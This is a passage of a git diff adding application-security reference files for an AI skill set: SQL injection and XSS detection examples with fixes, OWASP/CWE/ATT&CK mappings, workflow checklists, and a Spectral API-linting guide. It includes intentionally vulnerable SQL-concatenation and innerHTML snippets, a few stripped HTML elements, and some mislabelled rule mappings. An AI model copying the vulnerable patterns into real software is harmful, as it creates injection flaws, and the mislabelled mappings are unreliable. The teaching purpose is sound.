+``` + +**Pattern 2: Unsafe String Formatting** + +```python +# Vulnerable patterns +query = f"SELECT * FROM users WHERE name = '{username}'" +query = "SELECT * FROM users WHERE name = '%s'" % username +query = "SELECT * FROM users WHERE name = '{}'".format(username) + +# All three patterns are vulnerable to SQL injection +``` + +#### Cross-Site Scripting (XSS) Detection + +**Pattern 1: Unescaped Output in Templates** + +```javascript +// Vulnerable: Direct HTML injection +element.innerHTML = userInput; +document.write(userInput); + +// Vulnerable: React dangerouslySetInnerHTML +
+ +// Detection criteria: +# - Direct DOM manipulation (innerHTML, document.write) +# - React dangerouslySetInnerHTML with user data +# - Template engines with autoescaping disabled + +// Severity: HIGH +// CWE: CWE-79 +// OWASP: A03:2021 - Injection +``` + +**Remediation**: +```javascript +// Fixed: Escaped output +element.textContent = userInput; // Auto-escapes + +// Fixed: Sanitization library +import DOMPurify from 'dompurify'; +const clean = DOMPurify.sanitize(userComment); +
+``` + +--- + +## Security Framework Mappings + +This section provides comprehensive security framework mappings for findings. + +### OWASP Top 10 + +Map security findings to OWASP Top 10 (2021) categories: + +| Category | Title | Common Vulnerabilities | +|----------|-------|----------------------| +| **A01:2021** | Broken Access Control | Authorization bypass, privilege escalation, IDOR | +| **A02:2021** | Cryptographic Failures | Weak crypto, plaintext storage, insecure TLS | +| **A03:2021** | Injection | SQL injection, XSS, command injection, LDAP injection | +| **A04:2021** | Insecure Design | Missing security controls, threat modeling gaps | +| **A05:2021** | Security Misconfiguration | Default configs, verbose errors, unnecessary features | +| **A06:2021** | Vulnerable Components | Outdated libraries, unpatched dependencies | +| **A07:2021** | Auth & Session Failures | Weak passwords, session fixation, missing MFA | +| **A08:2021** | Software & Data Integrity | Unsigned updates, insecure CI/CD, deserialization | +| **A09:2021** | Logging & Monitoring Failures | Insufficient logging, no alerting, log injection | +| **A10:2021** | SSRF | Server-side request forgery, unvalidated redirects | + +**Usage**: When reporting findings, map to primary OWASP category and reference the identifier (e.g., "A03:2021 - Injection"). + +### CWE Mappings + +Map to relevant Common Weakness Enumeration categories for precise vulnerability classification: + +#### Injection Vulnerabilities +- **CWE-78**: OS Command Injection +- **CWE-79**: Cross-site Scripting (XSS) +- **CWE-89**: SQL Injection +- **CWE-90**: LDAP Injection +- **CWE-91**: XML Injection +- **CWE-94**: Code Injection + +#### Authentication & Authorization +- **CWE-287**: Improper Authentication +- **CWE-288**: Authentication Bypass Using Alternate Path +- **CWE-290**: Authentication Bypass by Spoofing +- **CWE-294**: Authentication Bypass by Capture-replay +- **CWE-306**: Missing Authentication for Critical Function +- **CWE-307**: Improper Restriction of Excessive Authentication Attempts +- **CWE-352**: Cross-Site Request Forgery (CSRF) + +#### Cryptographic Issues +- **CWE-256**: Plaintext Storage of Password +- **CWE-259**: Use of Hard-coded Password +- **CWE-261**: Weak Encoding for Password +- **CWE-321**: Use of Hard-coded Cryptographic Key +- **CWE-326**: Inadequate Encryption Strength +- **CWE-327**: Use of Broken or Risky Cryptographic Algorithm +- **CWE-329**: Not Using a Random IV with CBC Mode +- **CWE-798**: Use of Hard-coded Credentials + +#### Input Validation +- **CWE-20**: Improper Input Validation +- **CWE-73**: External Control of File Name or Path +- **CWE-434**: Unrestricted Upload of File with Dangerous Type +- **CWE-601**: URL Redirection to Untrusted Site + +#### Sensitive Data Exposure +- **CWE-200**: Information Exposure +- **CWE-209**: Information Exposure Through Error Message +- **CWE-312**: Cleartext Storage of Sensitive Information +- **CWE-319**: Cleartext Transmission of Sensitive Information +- **CWE-532**: Information Exposure Through Log Files + +**Usage**: Include CWE identifier in all vulnerability reports for standardized classification. + +### MITRE ATT&CK + +Reference relevant tactics and techniques for threat context: + +#### Initial Access (TA0001) +- **T1190**: Exploit Public-Facing Application +- **T1133**: External Remote Services +- **T1078**: Valid Accounts + +#### Execution (TA0002) +- **T1059**: Command and Scripting Interpreter +- **T1203**: Exploitation for Client Execution + +#### Persistence (TA0003) +- **T1098**: Account Manipulation +- **T1136**: Create Account +- **T1505**: Server Software Component + +#### Privilege Escalation (TA0004) +- **T1068**: Exploitation for Privilege Escalation +- **T1548**: Abuse Elevation Control Mechanism + +#### Defense Evasion (TA0005) +- **T1027**: Obfuscated Files or Information +- **T1140**: Deobfuscate/Decode Files or Information +- **T1562**: Impair Defenses + +#### Credential Access (TA0006) +- **T1110**: Brute Force +- **T1555**: Credentials from Password Stores +- **T1552**: Unsecured Credentials + +#### Discovery (TA0007) +- **T1083**: File and Directory Discovery +- **T1046**: Network Service Scanning + +#### Collection (TA0009) +- **T1005**: Data from Local System +- **T1114**: Email Collection + +#### Exfiltration (TA0010) +- **T1041**: Exfiltration Over C2 Channel +- **T1567**: Exfiltration Over Web Service + +**Usage**: When identifying vulnerabilities, consider which ATT&CK techniques an attacker could use to exploit them. + +--- + +## Remediation Patterns + +This section provides specific remediation guidance for common vulnerability types. + +### SQL Injection Remediation + +**Step 1: Identify vulnerable queries** +- Search for string concatenation in SQL queries +- Check for f-strings or format() with SQL keywords +- Review all database interaction code + +**Step 2: Apply parameterized queries** + +```python +# Python with sqlite3 +cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,)) + +# Python with psycopg2 (PostgreSQL) +cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,)) + +# Python with SQLAlchemy (ORM) +from sqlalchemy import text +result = session.execute(text("SELECT * FROM users WHERE id = :id"), {"id": user_id}) +``` + +**Step 3: Validate and sanitize input** (defense in depth) +```python +import re + +# Validate input format +if not re.match(r'^\d+$', user_id): + raise ValueError("Invalid user ID format") + +# Use ORM query builders +user = User.query.filter_by(id=user_id).first() +``` + +**Step 4: Implement least privilege** +- Database user should have minimum required permissions +- Use read-only accounts for SELECT operations +- Never use admin/root accounts for application queries + +### XSS Remediation + +**Step 1: Enable auto-escaping** +- Most modern frameworks escape by default +- Ensure auto-escaping is not disabled + +**Step 2: Use framework-specific safe methods** + +```javascript +// React: Use JSX (auto-escapes) +
{userInput}
+ +// Vue: Use template syntax (auto-escapes) +
{{ userInput }}
+ +// Angular: Use property binding (auto-escapes) +
+``` + +**Step 3: Sanitize when HTML is required** + +```javascript +import DOMPurify from 'dompurify'; + +// Sanitize HTML content +const clean = DOMPurify.sanitize(userHTML, { + ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p'], + ALLOWED_ATTR: [] +}); +``` + +**Step 4: Content Security Policy (CSP)** + +```html + +Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}' +``` + +--- + +## Advanced Configuration + +This section contains detailed configuration options and tuning parameters. + +### Example: SAST Tool Configuration + +```yaml +# Advanced security scanner configuration +scanner: + # Severity threshold + severity_threshold: MEDIUM + + # Rule configuration + rules: + enabled: + - sql-injection + - xss + - hardcoded-secrets + disabled: + - informational-only + + # False positive reduction + confidence_threshold: HIGH + exclude_patterns: + - "*/test/*" + - "*/tests/*" + - "*/node_modules/*" + - "*.test.js" + - "*.spec.ts" + + # Performance tuning + max_file_size_kb: 2048 + timeout_seconds: 300 + parallel_jobs: 4 + + # Output configuration + output_format: json + include_code_snippets: true + max_snippet_lines: 10 +``` + +--- + +## Examples and Code Samples + +This section provides comprehensive code examples for various scenarios. + +### Example 1: Secure API Authentication + +```python +# Secure API key handling +import os +from functools import wraps +from flask import Flask, request, jsonify + +app = Flask(__name__) + +# Load API key from environment (never hardcode) +VALID_API_KEY = os.environ.get('API_KEY') +if not VALID_API_KEY: + raise ValueError("API_KEY environment variable not set") + +def require_api_key(f): + @wraps(f) + def decorated_function(*args, **kwargs): + api_key = request.headers.get('X-API-Key') + + if not api_key: + return jsonify({'error': 'API key required'}), 401 + + # Constant-time comparison to prevent timing attacks + import hmac + if not hmac.compare_digest(api_key, VALID_API_KEY): + return jsonify({'error': 'Invalid API key'}), 403 + + return f(*args, **kwargs) + return decorated_function + +@app.route('/api/secure-endpoint') +@require_api_key +def secure_endpoint(): + return jsonify({'message': 'Access granted'}) +``` + +### Example 2: Secure Password Hashing + +```python +# Secure password storage with bcrypt +import bcrypt + +def hash_password(password: str) -> str: + """Hash a password using bcrypt.""" + # Generate salt and hash password + salt = bcrypt.gensalt(rounds=12) # Cost factor: 12 (industry standard) + hashed = bcrypt.hashpw(password.encode('utf-8'), salt) + return hashed.decode('utf-8') + +def verify_password(password: str, hashed: str) -> bool: + """Verify a password against a hash.""" + return bcrypt.checkpw( + password.encode('utf-8'), + hashed.encode('utf-8') + ) + +# Usage +stored_hash = hash_password("user_password") +is_valid = verify_password("user_password", stored_hash) # True +``` + +### Example 3: Secure File Upload + +```python +# Secure file upload with validation +import os +import magic +from werkzeug.utils import secure_filename + +ALLOWED_EXTENSIONS = {'pdf', 'png', 'jpg', 'jpeg'} +ALLOWED_MIME_TYPES = { + 'application/pdf', + 'image/png', + 'image/jpeg' +} +MAX_FILE_SIZE = 5 * 1024 * 1024 # 5 MB + +def is_allowed_file(filename: str, file_content: bytes) -> bool: + """Validate file extension and MIME type.""" + # Check extension + if '.' not in filename: + return False + + ext = filename.rsplit('.', 1)[1].lower() + if ext not in ALLOWED_EXTENSIONS: + return False + + # Check MIME type (prevent extension spoofing) + mime = magic.from_buffer(file_content, mime=True) + if mime not in ALLOWED_MIME_TYPES: + return False + + return True + +def handle_upload(file): + """Securely handle file upload.""" + # Check file size + file.seek(0, os.SEEK_END) + size = file.tell() + file.seek(0) + + if size > MAX_FILE_SIZE: + raise ValueError("File too large") + + # Read content for validation + content = file.read() + file.seek(0) + + # Validate file type + if not is_allowed_file(file.filename, content): + raise ValueError("Invalid file type") + + # Sanitize filename + filename = secure_filename(file.filename) + + # Generate unique filename to prevent overwrite attacks + import uuid + unique_filename = f"{uuid.uuid4()}_{filename}" + + # Save to secure location (outside web root) + upload_path = os.path.join('/secure/uploads', unique_filename) + file.save(upload_path) + + return unique_filename +``` + +--- + +## Best Practices for Reference Documents + +1. **Start with "When to use"** - Help Claude know when to load this reference +2. **Include table of contents** - For documents >100 lines +3. **Use concrete examples** - Code samples with vulnerable and fixed versions +4. **Map to frameworks** - OWASP, CWE, MITRE ATT&CK for context +5. **Provide remediation** - Don't just identify issues, show how to fix them +6. **Organize logically** - Group related content, use clear headings +7. **Keep examples current** - Use modern patterns and current framework versions +8. **Be concise** - Even in references, challenge every sentence diff --git a/skills/appsec/api-mitmproxy/references/WORKFLOW_CHECKLIST.md b/skills/appsec/api-mitmproxy/references/WORKFLOW_CHECKLIST.md new file mode 100644 index 0000000..eff0234 --- /dev/null +++ b/skills/appsec/api-mitmproxy/references/WORKFLOW_CHECKLIST.md @@ -0,0 +1,253 @@ +# Workflow Checklist Template + +This template demonstrates workflow patterns for security operations. Copy and adapt these checklists to your specific skill needs. + +## Pattern 1: Sequential Workflow Checklist + +Use this pattern for operations that must be completed in order, step-by-step. + +### Security Assessment Workflow + +Progress: +[ ] 1. Identify application entry points and attack surface +[ ] 2. Map authentication and authorization flows +[ ] 3. Identify data flows and sensitive data handling +[ ] 4. Review existing security controls +[ ] 5. Document findings with framework references (OWASP, CWE) +[ ] 6. Prioritize findings by severity (CVSS scores) +[ ] 7. Generate report with remediation recommendations + +Work through each step systematically. Check off completed items. + +--- + +## Pattern 2: Conditional Workflow + +Use this pattern when the workflow branches based on findings or conditions. + +### Vulnerability Remediation Workflow + +1. Identify vulnerability type + - If SQL Injection → See [sql-injection-remediation.md](sql-injection-remediation.md) + - If XSS (Cross-Site Scripting) → See [xss-remediation.md](xss-remediation.md) + - If Authentication flaw → See [auth-remediation.md](auth-remediation.md) + - If Authorization flaw → See [authz-remediation.md](authz-remediation.md) + - If Cryptographic issue → See [crypto-remediation.md](crypto-remediation.md) + +2. Assess severity using CVSS calculator + - If CVSS >= 9.0 → Priority: Critical (immediate action) + - If CVSS 7.0-8.9 → Priority: High (action within 24h) + - If CVSS 4.0-6.9 → Priority: Medium (action within 1 week) + - If CVSS < 4.0 → Priority: Low (action within 30 days) + +3. Apply appropriate remediation pattern +4. Validate fix with security testing +5. Document changes and update security documentation + +--- + +## Pattern 3: Iterative Workflow + +Use this pattern for operations that repeat across multiple targets or items. + +### Code Security Review Workflow + +For each file in the review scope: +1. Identify security-sensitive operations (auth, data access, crypto, input handling) +2. Check against secure coding patterns for the language +3. Flag potential vulnerabilities with severity rating +4. Map findings to CWE and OWASP categories +5. Suggest specific remediation approaches +6. Document finding with code location and fix priority + +Continue until all files in scope have been reviewed. + +--- + +## Pattern 4: Feedback Loop Workflow + +Use this pattern when validation and iteration are required. + +### Secure Configuration Generation Workflow + +1. Generate initial security configuration based on requirements +2. Run validation script: `./scripts/validate_config.py config.yaml` +3. Review validation output: + - Note all errors (must fix) + - Note all warnings (should fix) + - Note all info items (consider) +4. Fix identified issues in configuration +5. Repeat steps 2-4 until validation passes with zero errors +6. Review warnings and determine if they should be addressed +7. Apply configuration once validation is clean + +**Validation Loop**: Run validator → Fix errors → Repeat until clean + +--- + +## Pattern 5: Parallel Analysis Workflow + +Use this pattern when multiple independent analyses can run concurrently. + +### Comprehensive Security Scan Workflow + +Run these scans in parallel: + +**Static Analysis**: +[ ] 1a. Run SAST scan (Semgrep/Bandit) +[ ] 1b. Run dependency vulnerability scan (Safety/npm audit) +[ ] 1c. Run secrets detection (Gitleaks/TruffleHog) +[ ] 1d. Run license compliance check + +**Dynamic Analysis**: +[ ] 2a. Run DAST scan (ZAP/Burp) +[ ] 2b. Run API security testing +[ ] 2c. Run authentication/authorization testing + +**Infrastructure Analysis**: +[ ] 3a. Run infrastructure-as-code scan (Checkov/tfsec) +[ ] 3b. Run container image scan (Trivy/Grype) +[ ] 3c. Run configuration review + +**Consolidation**: +[ ] 4. Aggregate all findings +[ ] 5. Deduplicate and correlate findings +[ ] 6. Prioritize by risk (CVSS + exploitability + business impact) +[ ] 7. Generate unified security report + +--- + +## Pattern 6: Research and Documentation Workflow + +Use this pattern for security research and documentation tasks. + +### Threat Modeling Workflow + +Research Progress: +[ ] 1. Identify system components and boundaries +[ ] 2. Map data flows between components +[ ] 3. Identify trust boundaries +[ ] 4. Enumerate assets (data, services, credentials) +[ ] 5. Apply STRIDE framework to each component: + - Spoofing threats + - Tampering threats + - Repudiation threats + - Information disclosure threats + - Denial of service threats + - Elevation of privilege threats +[ ] 6. Map threats to MITRE ATT&CK techniques +[ ] 7. Identify existing mitigations +[ ] 8. Document residual risks +[ ] 9. Recommend additional security controls +[ ] 10. Generate threat model document + +Work through each step systematically. Check off completed items. + +--- + +## Pattern 7: Compliance Validation Workflow + +Use this pattern for compliance checks against security standards. + +### Security Compliance Audit Workflow + +**SOC 2 Controls Review**: +[ ] 1. Review access control policies (CC6.1, CC6.2, CC6.3) +[ ] 2. Verify logical access controls implementation (CC6.1) +[ ] 3. Review authentication mechanisms (CC6.1) +[ ] 4. Verify encryption implementation (CC6.1, CC6.7) +[ ] 5. Review audit logging configuration (CC7.2) +[ ] 6. Verify security monitoring (CC7.2, CC7.3) +[ ] 7. Review incident response procedures (CC7.3, CC7.4) +[ ] 8. Verify backup and recovery processes (A1.2, A1.3) + +**Evidence Collection**: +[ ] 9. Collect policy documents +[ ] 10. Collect configuration screenshots +[ ] 11. Collect audit logs +[ ] 12. Document control gaps +[ ] 13. Generate compliance report + +--- + +## Pattern 8: Incident Response Workflow + +Use this pattern for security incident handling. + +### Security Incident Response Workflow + +**Detection and Analysis**: +[ ] 1. Confirm security incident (rule out false positive) +[ ] 2. Determine incident severity (SEV1/2/3/4) +[ ] 3. Identify affected systems and data +[ ] 4. Preserve evidence (logs, memory dumps, network captures) + +**Containment**: +[ ] 5. Isolate affected systems (network segmentation) +[ ] 6. Disable compromised accounts +[ ] 7. Block malicious indicators (IPs, domains, hashes) +[ ] 8. Implement temporary compensating controls + +**Eradication**: +[ ] 9. Identify root cause +[ ] 10. Remove malicious artifacts (malware, backdoors, webshells) +[ ] 11. Patch vulnerabilities exploited +[ ] 12. Reset compromised credentials + +**Recovery**: +[ ] 13. Restore systems from clean backups (if needed) +[ ] 14. Re-enable systems with monitoring +[ ] 15. Verify system integrity +[ ] 16. Resume normal operations + +**Post-Incident**: +[ ] 17. Document incident timeline +[ ] 18. Identify lessons learned +[ ] 19. Update security controls to prevent recurrence +[ ] 20. Update incident response procedures +[ ] 21. Communicate with stakeholders + +--- + +## Usage Guidelines + +### When to Use Workflow Checklists + +✅ **Use checklists for**: +- Complex multi-step operations +- Operations requiring specific order +- Security assessments and audits +- Incident response procedures +- Compliance validation tasks + +❌ **Don't use checklists for**: +- Simple single-step operations +- Highly dynamic exploratory work +- Operations that vary significantly each time + +### Adapting This Template + +1. **Copy relevant pattern** to your skill's SKILL.md or create new reference file +2. **Customize steps** to match your specific security tool or process +3. **Add framework references** (OWASP, CWE, NIST) where applicable +4. **Include tool-specific commands** for automation +5. **Add decision points** where manual judgment is required + +### Checklist Best Practices + +- **Be specific**: "Run semgrep --config=auto ." not "Scan the code" +- **Include success criteria**: "Validation passes with 0 errors" +- **Reference standards**: Link to OWASP, CWE, NIST where relevant +- **Show progress**: Checkbox format helps track completion +- **Provide escape hatches**: "If validation fails, see troubleshooting.md" + +### Integration with Feedback Loops + +Combine checklists with validation scripts for maximum effectiveness: + +1. Create checklist for the workflow +2. Provide validation script that checks quality +3. Include "run validator" step in checklist +4. Loop: Complete step → Validate → Fix issues → Re-validate + +This pattern dramatically improves output quality through systematic validation. diff --git a/skills/appsec/api-spectral/SKILL.md b/skills/appsec/api-spectral/SKILL.md new file mode 100644 index 0000000..2a6551d --- /dev/null +++ b/skills/appsec/api-spectral/SKILL.md @@ -0,0 +1,708 @@ +--- +name: api-spectral +description: > + API specification linting and security validation using Stoplight's Spectral with support for + OpenAPI, AsyncAPI, and Arazzo specifications. Validates API definitions against security best + practices, OWASP API Security Top 10, and custom organizational standards. Use when: (1) Validating + OpenAPI/AsyncAPI specifications for security issues and design flaws, (2) Enforcing API design + standards and governance policies across API portfolios, (3) Creating custom security rules for + API specifications in CI/CD pipelines, (4) Detecting authentication, authorization, and data + exposure issues in API definitions, (5) Ensuring API specifications comply with organizational + security standards and regulatory requirements. +version: 0.1.0 +maintainer: SirAppSec +category: appsec +tags: [api-security, openapi, asyncapi, linting, spectral, api-governance, owasp-api, specification-validation] +frameworks: [OWASP] +dependencies: + tools: [node, npm] + optional: [docker, git] +references: + - https://docs.stoplight.io/docs/spectral/674b27b261c3c-overview + - https://github.com/stoplightio/spectral + - https://owasp.org/API-Security/editions/2023/en/0x11-t10/ +--- + +# API Security with Spectral + +## Overview + +Spectral is a flexible JSON/YAML linter from Stoplight that validates API specifications against +security best practices and organizational standards. With built-in rulesets for OpenAPI v2/v3.x, +AsyncAPI v2.x, and Arazzo v1.0, Spectral helps identify security vulnerabilities, design flaws, +and compliance issues during the API design phase—before code is written. Custom rulesets enable +enforcement of OWASP API Security Top 10 patterns, authentication standards, and data protection +requirements across your entire API portfolio. + +## Quick Start + +### Installation + +```bash +# Install via npm +npm install -g @stoplight/spectral-cli + +# Or using Yarn +yarn global add @stoplight/spectral-cli + +# Or using Docker +docker pull stoplight/spectral + +# Verify installation +spectral --version +``` + +### Basic API Specification Linting + +```bash +# Lint OpenAPI specification with built-in rules +spectral lint openapi.yaml + +# Lint with specific ruleset +spectral lint openapi.yaml --ruleset .spectral.yaml + +# Output as JSON for CI/CD integration +spectral lint openapi.yaml --format json --output results.json +``` + +### Quick Security Scan + +```bash +# Create security-focused ruleset +echo 'extends: ["spectral:oas"]' > .spectral.yaml + +# Lint API specification +spectral lint api-spec.yaml --ruleset .spectral.yaml +``` + +## Core Workflow + +### Workflow Checklist + +Progress: +[ ] 1. Install Spectral and select appropriate base rulesets +[ ] 2. Create or configure ruleset with security rules +[ ] 3. Identify API specifications to validate (OpenAPI, AsyncAPI, Arazzo) +[ ] 4. Run linting with appropriate severity thresholds +[ ] 5. Review findings and categorize by security impact +[ ] 6. Map findings to OWASP API Security Top 10 +[ ] 7. Create custom rules for organization-specific security patterns +[ ] 8. Integrate into CI/CD pipeline with failure thresholds +[ ] 9. Generate reports with remediation guidance +[ ] 10. Establish continuous validation process + +Work through each step systematically. Check off completed items. + +### Step 1: Ruleset Configuration + +Create a `.spectral.yaml` ruleset extending built-in security rules: + +```yaml +# .spectral.yaml - Basic security-focused ruleset +extends: ["spectral:oas", "spectral:asyncapi"] + +rules: + # Enforce HTTPS for all API endpoints + oas3-valid-schema-example: true + oas3-server-not-example.com: true + + # Authentication security + operation-security-defined: error + + # Information disclosure prevention + info-contact: warn + info-description: warn +``` + +**Built-in Rulesets:** +- `spectral:oas` - OpenAPI v2/v3.x security and best practices +- `spectral:asyncapi` - AsyncAPI v2.x validation rules +- `spectral:arazzo` - Arazzo v1.0 workflow specifications + +**Ruleset Selection Best Practices:** +- Start with built-in rulesets and progressively add custom rules +- Use `error` severity for critical security issues (authentication, HTTPS) +- Use `warn` for recommended practices and information disclosure risks +- Use `info` for style guide compliance and documentation completeness + +For advanced ruleset patterns, see `references/ruleset_patterns.md`. + +### Step 2: Security-Focused API Linting + +Run Spectral with security-specific validation: + +```bash +# Comprehensive security scan +spectral lint openapi.yaml \ + --ruleset .spectral.yaml \ + --format stylish \ + --verbose + +# Focus on error-level findings only (critical security issues) +spectral lint openapi.yaml \ + --ruleset .spectral.yaml \ + --fail-severity error + +# Scan multiple specifications +spectral lint api-specs/*.yaml --ruleset .spectral.yaml + +# Generate JSON report for further analysis +spectral lint openapi.yaml \ + --ruleset .spectral.yaml \ + --format json \ + --output security-findings.json +``` + +**Output Formats:** +- `stylish` - Human-readable terminal output (default) +- `json` - Machine-readable JSON for CI/CD integration +- `junit` - JUnit XML for test reporting platforms +- `html` - HTML report (requires additional plugins) +- `github-actions` - GitHub Actions annotations format + +### Step 3: OWASP API Security Validation + +Validate API specifications against OWASP API Security Top 10: + +```yaml +# .spectral-owasp.yaml - OWASP API Security focused rules +extends: ["spectral:oas"] + +rules: + # API1:2023 - Broken Object Level Authorization + operation-security-defined: + severity: error + message: "All operations must have security defined (OWASP API1)" + + # API2:2023 - Broken Authentication + security-schemes-defined: + severity: error + message: "API must define security schemes (OWASP API2)" + + # API3:2023 - Broken Object Property Level Authorization + no-additional-properties: + severity: warn + message: "Consider disabling additionalProperties to prevent data leakage (OWASP API3)" + + # API5:2023 - Broken Function Level Authorization + operation-tag-defined: + severity: warn + message: "Operations should be tagged for authorization policy mapping (OWASP API5)" + + # API7:2023 - Server Side Request Forgery + no-http-basic: + severity: error + message: "HTTP Basic auth transmits credentials in plain text (OWASP API7)" + + # API8:2023 - Security Misconfiguration + servers-use-https: + description: All server URLs must use HTTPS + severity: error + given: $.servers[*].url + then: + function: pattern + functionOptions: + match: "^https://" + message: "Server URL must use HTTPS (OWASP API8)" + + # API9:2023 - Improper Inventory Management + api-version-required: + severity: error + given: $.info + then: + field: version + function: truthy + message: "API version must be specified (OWASP API9)" +``` + +**Run OWASP-focused validation:** +```bash +spectral lint openapi.yaml --ruleset .spectral-owasp.yaml +``` + +For complete OWASP API Security Top 10 rule mappings, see `references/owasp_api_mappings.md`. + +### Step 4: Custom Security Rule Development + +Create organization-specific security rules using Spectral's rule engine: + +```yaml +# .spectral-custom.yaml +extends: ["spectral:oas"] + +rules: + # Require API key authentication + require-api-key-auth: + description: All APIs must support API key authentication + severity: error + given: $.components.securitySchemes[*] + then: + field: type + function: enumeration + functionOptions: + values: [apiKey, oauth2, openIdConnect] + message: "API must define apiKey, OAuth2, or OpenID Connect security" + + # Prevent PII in query parameters + no-pii-in-query: + description: Prevent PII exposure in URL query parameters + severity: error + given: $.paths[*][*].parameters[?(@.in == 'query')].name + then: + function: pattern + functionOptions: + notMatch: "(ssn|social.?security|credit.?card|password|secret|token)" + message: "Query parameters must not contain PII identifiers" + + # Require rate limiting headers + require-rate-limit-headers: + description: API responses should include rate limit headers + severity: warn + given: $.paths[*][*].responses[*].headers + then: + function: schema + functionOptions: + schema: + type: object + properties: + X-RateLimit-Limit: true + X-RateLimit-Remaining: true + message: "Consider adding rate limit headers for security" + + # Enforce consistent error responses + error-response-format: + description: Error responses must follow standard format + severity: error + given: $.paths[*][*].responses[?(@property >= 400)].content.application/json.schema + then: + function: schema + functionOptions: + schema: + type: object + required: [error, message] + properties: + error: + type: string + message: + type: string + message: "Error responses must include 'error' and 'message' fields" +``` + +**Custom Rule Development Resources:** +- `references/custom_rules_guide.md` - Complete rule authoring guide with functions +- `references/custom_functions.md` - Creating custom JavaScript/TypeScript functions +- `assets/rule-templates/` - Reusable rule templates for common security patterns + +### Step 5: CI/CD Pipeline Integration + +Integrate Spectral into continuous integration workflows: + +**GitHub Actions:** +```yaml +# .github/workflows/api-security-lint.yml +name: API Security Linting + +on: [push, pull_request] + +jobs: + spectral: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v3 + + - name: Setup Node.js + uses: actions/setup-node@v3 + with: + node-version: '18' + + - name: Install Spectral + run: npm install -g @stoplight/spectral-cli + + - name: Lint API Specifications + run: | + spectral lint api-specs/*.yaml \ + --ruleset .spectral.yaml \ + --format github-actions \ + --fail-severity error + + - name: Generate Report + if: always() + run: | + spectral lint api-specs/*.yaml \ + --ruleset .spectral.yaml \ + --format json \ + --output spectral-report.json + + - name: Upload Report + if: always() + uses: actions/upload-artifact@v3 + with: + name: spectral-security-report + path: spectral-report.json +``` + +**GitLab CI:** +```yaml +# .gitlab-ci.yml +api-security-lint: + stage: test + image: node:18 + script: + - npm install -g @stoplight/spectral-cli + - spectral lint api-specs/*.yaml --ruleset .spectral.yaml --fail-severity error + artifacts: + when: always + reports: + junit: spectral-report.xml +``` + +**Docker-Based Pipeline:** +```bash +# Run in CI/CD with Docker +docker run --rm \ + -v $(pwd):/work \ + stoplight/spectral lint /work/openapi.yaml \ + --ruleset /work/.spectral.yaml \ + --format json \ + --output /work/results.json + +# Fail build on critical security issues +if jq -e '.[] | select(.severity == 0)' results.json > /dev/null; then + echo "Critical security issues detected!" + exit 1 +fi +``` + +For complete CI/CD integration examples, see `scripts/ci_integration_examples/`. + +### Step 6: Results Analysis and Remediation + +Analyze findings and provide security remediation: + +```bash +# Parse Spectral JSON output for security report +python3 scripts/parse_spectral_results.py \ + --input spectral-report.json \ + --output security-report.html \ + --map-owasp \ + --severity-threshold error + +# Generate remediation guidance +python3 scripts/generate_remediation.py \ + --input spectral-report.json \ + --output remediation-guide.md +``` + +**Validation Workflow:** +1. Review all error-level findings (critical security issues) +2. Verify each finding in API specification context +3. Map findings to OWASP API Security Top 10 categories +4. Prioritize by severity and exploitability +5. Apply fixes to API specifications +6. Re-lint to verify remediation +7. Document security decisions and exceptions + +**Feedback Loop Pattern:** +```bash +# 1. Initial lint +spectral lint openapi.yaml --ruleset .spectral.yaml -o scan1.json + +# 2. Apply security fixes to API specification + +# 3. Re-lint to verify fixes +spectral lint openapi.yaml --ruleset .spectral.yaml -o scan2.json + +# 4. Compare results +python3 scripts/compare_spectral_results.py scan1.json scan2.json +``` + +## Advanced Patterns + +### Pattern 1: Multi-Specification Governance + +Enforce consistent security standards across API portfolio: + +```bash +# Scan all API specifications with organization ruleset +find api-specs/ -name "*.yaml" -o -name "*.json" | while read spec; do + echo "Linting: $spec" + spectral lint "$spec" \ + --ruleset .spectral-org-standards.yaml \ + --format json \ + --output "reports/$(basename $spec .yaml)-report.json" +done + +# Aggregate findings across portfolio +python3 scripts/aggregate_api_findings.py \ + --input-dir reports/ \ + --output portfolio-security-report.html +``` + +### Pattern 2: Progressive Severity Enforcement + +Start with warnings and progressively enforce stricter rules: + +```yaml +# .spectral-phase1.yaml - Initial rollout (warnings only) +extends: ["spectral:oas"] +rules: + servers-use-https: warn + operation-security-defined: warn + +# .spectral-phase2.yaml - Enforcement phase (errors) +extends: ["spectral:oas"] +rules: + servers-use-https: error + operation-security-defined: error +``` + +```bash +# Phase 1: Awareness (don't fail builds) +spectral lint openapi.yaml --ruleset .spectral-phase1.yaml + +# Phase 2: Enforcement (fail on violations) +spectral lint openapi.yaml --ruleset .spectral-phase2.yaml --fail-severity error +``` + +### Pattern 3: API Security Pre-Commit Validation + +Prevent insecure API specifications from being committed: + +```bash +# .git/hooks/pre-commit +#!/bin/bash + +# Find staged API specification files +SPECS=$(git diff --cached --name-only --diff-filter=ACM | grep -E '\.(yaml|yml|json)$' | grep -E '(openapi|swagger|api)') + +if [ -n "$SPECS" ]; then + echo "Validating API specifications..." + for spec in $SPECS; do + spectral lint "$spec" --ruleset .spectral.yaml --fail-severity error + if [ $? -ne 0 ]; then + echo "Security validation failed for $spec" + exit 1 + fi + done +fi +``` + +### Pattern 4: Automated Security Review Comments + +Generate security review comments for pull requests: + +```bash +# Generate PR review comments from Spectral findings +spectral lint openapi.yaml \ + --ruleset .spectral.yaml \ + --format json | \ +python3 scripts/generate_pr_comments.py \ + --file openapi.yaml \ + --severity error,warn \ + --output pr-comments.json + +# Post to GitHub PR via gh CLI +gh pr comment $PR_NUMBER --body-file pr-comments.json +``` + +## Custom Functions for Advanced Security Rules + +Create custom JavaScript functions for complex security validation: + +```javascript +// spectral-functions/check-jwt-expiry.js +export default (targetVal, opts) => { + // Validate JWT security scheme includes expiration + if (targetVal.type === 'http' && targetVal.scheme === 'bearer') { + if (!targetVal.bearerFormat || targetVal.bearerFormat !== 'JWT') { + return [{ + message: 'Bearer authentication should specify JWT format' + }]; + } + } + return []; +}; +``` + +```yaml +# .spectral.yaml with custom function +functions: + - check-jwt-expiry +functionsDir: ./spectral-functions + +rules: + jwt-security-check: + description: Validate JWT security configuration + severity: error + given: $.components.securitySchemes[*] + then: + function: check-jwt-expiry +``` + +For complete custom function development guide, see `references/custom_functions.md`. + +## Automation & Continuous Validation + +### Scheduled API Security Scanning + +```bash +# Automated daily API specification scanning +./scripts/spectral_scheduler.sh \ + --schedule daily \ + --specs-dir api-specs/ \ + 